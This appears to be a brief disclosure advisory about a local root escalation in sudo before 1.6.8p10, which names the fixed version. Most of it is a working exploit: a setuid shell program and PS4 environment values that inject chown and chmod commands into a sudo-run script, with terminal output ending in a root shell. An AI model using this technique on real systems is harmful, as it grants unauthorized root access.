sudo Local Privilege Escalation
Summary
sudo (superuser do) is a program in Unix, Linux, and similar operating systems such as Mac OS X that allows users to run programs in the guise of another user (normally in the guise of the system's superuser).
sudo has been found to be vulnerable to local privilege escalation vulnerability that allows local attackers to gain elevated privileges.
Credit:
The information has been provided by breno.
Details
Vulnerable Systems:
* sudo versions prior to 1.6.8p10
Immune Systems:
* sudo version 1.6.8p10
Exploiting:
## Sudo local root escalation privilege ##
## vuln versions : sudo < 1.6.8p10
## by breno
## You need sudo access execution for some bash script ##
## Use csh shell to change SHELLOPTS env ##
ie:
%cat x.sh
#!/bin/bash -x
echo "Getting root!!"
%
##
##
# cat /etc/sudoers
...
breno ALL=(ALL) /home/breno/x.sh
..
#
## Let's use an egg shell :)
%cat egg.c
#include <stdio.h>
int main()
{
setuid(0);
system("/bin/sh");
}
%
% gcc -o egg egg.c
% setenv SHELLOPTS xtrace
% setenv PS4 '$(chown root:root egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ls -lisa egg
1198941 8 -rwxr-xr-x 1 root root 7428 2005-11-09 13:54 egg
% setenv PS4 '$(chmod +s egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ./egg
sh-3.00# id
uid=0(root) gid=1000(breno) egid=0(root) grupos=7(lp),102(lpadmin),1000(breno)
sh-3.00#